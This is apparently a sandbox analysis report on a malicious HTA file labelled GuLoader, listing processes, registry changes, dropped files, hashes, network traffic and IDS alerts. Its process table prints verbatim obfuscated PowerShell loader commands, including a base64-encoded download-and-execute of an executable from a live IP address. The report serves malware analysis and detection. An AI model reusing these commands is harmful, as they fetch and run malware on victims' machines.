File name: | Guidelines.hta |
Full analysis: | https://app.any.run/tasks/af87fbe0-049d-4cae-b510-282ac48a724b |
Verdict: | Malicious activity |
Threats: | GuLoader is an advanced downloader written in shellcode. It’s used by criminals to distribute other malware, notably trojans, on a large scale. It’s infamous for using anti-detection and anti-analysis capabilities. |
Analysis date: | August 14, 2024, 02:57:01 |
OS: | Windows 10 Professional (build: 19045, 64 bit) |
Tags: | |
Indicators: | |
MIME: | text/html |
File info: | HTML document, ASCII text, with very long lines (65498), with CRLF line terminators |
MD5: | A485F9C22BB28FEB62D01C63E1CD9FAA |
SHA1: | 37466C9E52BE071A2B9BB4606F358A7CBB05D0DC |
SHA256: | CE71B196E2D2E471973112E9ED9B9765927419EB31EB582786E0D022CD14AF62 |
SSDEEP: | 768:tZ6A3yXNA0AGAuKMPjeSssA00SrsxDunbQiXAZO:tpsT |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
6240 | "C:\Windows\SysWOW64\mshta.exe" C:\Users\admin\AppData\Local\Temp\Guidelines.hta {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} | C:\Windows\SysWOW64\mshta.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
6372 | "C:\WINDOWS\system32\cmd.exe" "/c POWERsHEll.exE -EX BYPASs -NOp -W 1 -C DeVICEcrEDentiAlDePloYment.exE ; IEX($(IEX('[sySTEm.TEXt.EnCOdING]'+[ChaR]58+[cHAr]58+'UTf8.gETsTRINg([SyStEM.Convert]'+[CHar]58+[chAr]0x3A+'FrombaSE64sTriNg('+[chaR]0x22+'JHA2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZGQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJlUmRFRklOaXRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNb04uZGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9sU2ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtdldpckdhYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGp2Tix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCS2gsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQnJRY2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWgiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNZXNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxWk5PRVFESXFKYiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHA2OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMjMuOTQuMjM5LjExMi8xMTgvc2Fob3N0LmV4ZSIsIiRlTlY6QVBQREFUQVxzYWhvc3RzLmV4ZSIsMCwwKTtzdGFSdC1zTGVFUCgzKTtTVGFyVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVxzYWhvc3RzLmV4ZSI='+[cHAr]0x22+'))')))" | C:\Windows\SysWOW64\cmd.exe | mshta.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
6384 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
6432 | POWERsHEll.exE -EX BYPASs -NOp -W 1 -C DeVICEcrEDentiAlDePloYment.exE ; IEX($(IEX('[sySTEm.TEXt.EnCOdING]'+[ChaR]58+[cHAr]58+'UTf8.gETsTRINg([SyStEM.Convert]'+[CHar]58+[chAr]0x3A+'FrombaSE64sTriNg('+[chaR]0x22+'JHA2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZGQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJlUmRFRklOaXRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNb04uZGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9sU2ssc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtdldpckdhYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGp2Tix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCS2gsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQnJRY2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWgiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNZXNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBxWk5PRVFESXFKYiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHA2OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMjMuOTQuMjM5LjExMi8xMTgvc2Fob3N0LmV4ZSIsIiRlTlY6QVBQREFUQVxzYWhvc3RzLmV4ZSIsMCwwKTtzdGFSdC1zTGVFUCgzKTtTVGFyVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVxzYWhvc3RzLmV4ZSI='+[cHAr]0x22+'))')))" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
6776 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\keaxv303.cmdline" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
6796 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES6EA4.tmp" "c:\Users\admin\AppData\Local\Temp\CSCEFB3F2284B3472ABE6829275881B1F5.TMP" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe | — | csc.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 14.32.31326.0 Modules
| |||||||||||||||
6904 | "C:\Users\admin\AppData\Roaming\sahosts.exe" | C:\Users\admin\AppData\Roaming\sahosts.exe | powershell.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 4294967295 Modules
| |||||||||||||||
6948 | "powershell.exe" -windowstyle hidden "$Apologetics=Get-Content 'C:\Users\admin\AppData\Local\Temp\ew\Tubolabellate255\drmmesynerne\Planular\Fikserbilleders.Suv';$Nybyggerens=$Apologetics.SubString(4057,3);.$Nybyggerens($Apologetics)" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | sahosts.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
6956 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
2508 | "C:\Program Files (x86)\windows mail\wab.exe" | C:\Program Files (x86)\Windows Mail\wab.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Contacts Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
|
(PID) Process: | (6240) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
(PID) Process: | (6240) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | IntranetName |
Value: 1 | |||
(PID) Process: | (6240) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
(PID) Process: | (6240) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | AutoDetect |
Value: 0 | |||
(PID) Process: | (6240) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
Operation: | write | Name: | CachePrefix |
Value: | |||
(PID) Process: | (6240) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
(PID) Process: | (6240) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
(PID) Process: | (6432) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
(PID) Process: | (6432) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | IntranetName |
Value: 1 | |||
(PID) Process: | (6432) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | UNCAsIntranet |
Value: 1 |
PID | Process | Filename | Type | |
---|---|---|---|---|
6432 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4wtopg4o.spp.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
6432 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_cffshpje.lfh.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
6432 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_x1jouw2m.1pz.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
6948 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0xq32rcm.zwy.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
6432 | powershell.exe | C:\Users\admin\AppData\Local\Temp\keaxv303.cmdline | text | |
MD5:718314C97793AB34F003FBBA896965D2 | SHA256:4057BAF33381E623140531D093F75E3B10A8B52D46C5612FE89C325359BEDCE2 | |||
6432 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\AH8CR9J5\sahost[1].exe | executable | |
MD5:9CEF532829A4CA2CF13279AC134873D8 | SHA256:61DCFDA4694EA3F6BAFAB018FEB9CBCACED299F1996B4A7ADAF79A3A81CC788D | |||
6432 | powershell.exe | C:\Users\admin\AppData\Roaming\sahosts.exe | executable | |
MD5:9CEF532829A4CA2CF13279AC134873D8 | SHA256:61DCFDA4694EA3F6BAFAB018FEB9CBCACED299F1996B4A7ADAF79A3A81CC788D | |||
6904 | sahosts.exe | C:\Users\admin\AppData\Local\Temp\ew\Tubolabellate255\drmmesynerne\Planular\Climbingfishes204.ove | binary | |
MD5:FFD943A215875808B58BFE8FB66DC36E | SHA256:25E152E218163DBBB491F525EBA3CD343EF10EF77DBF91F963E55A00F5256319 | |||
6904 | sahosts.exe | C:\Users\admin\AppData\Local\Temp\ew\Tubolabellate255\drmmesynerne\Planular\Fikserbilleders.Suv | text | |
MD5:C7E476EEA30ECA1676CB4A0F119AC5B6 | SHA256:07B291F2C6B0C714DC3A608AEEC0637845DD0C373C015E6D8D548DFA48AA7D9E | |||
6432 | powershell.exe | C:\Users\admin\AppData\Local\Temp\keaxv303.0.cs | text | |
MD5:CA0FE631137D6B033B7FA2E2E2F62693 | SHA256:9EB316169B7BAEA85DF3C8632EB0836EADC9395FF1A769A5D424BB7F0A276CCA |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
6432 | powershell.exe | GET | 200 | 23.94.239.112:80 | http://23.94.239.112/118/sahost.exe | unknown | — | — | unknown |
2968 | svchost.exe | GET | 304 | 2.23.197.184:80 | http://x1.c.lencr.org/ | unknown | — | — | unknown |
5140 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | unknown |
5336 | SearchApp.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | unknown |
5140 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | unknown |
7164 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | unknown |
7132 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | unknown |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3508 | svchost.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
6000 | RUXIMICS.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
2120 | MoUsoCoreWorker.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
3888 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
3508 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
6432 | powershell.exe | 23.94.239.112:80 | — | AS-COLOCROSSING | US | malicious |
5336 | SearchApp.exe | 2.16.110.121:443 | www.bing.com | Akamai International B.V. | DE | unknown |
3260 | svchost.exe | 40.113.110.67:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
5140 | svchost.exe | 40.126.31.73:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
Domain | IP | Reputation |
---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
www.bing.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
fd.api.iris.microsoft.com |
| whitelisted |
th.bing.com |
| whitelisted |
arc.msn.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
---|---|---|---|
6432 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Download from dotted-quad Host |
6432 | powershell.exe | A Network Trojan was detected | ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 |
6432 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
6432 | powershell.exe | A Network Trojan was detected | ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 |
6432 | powershell.exe | Potentially Bad Traffic | ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response |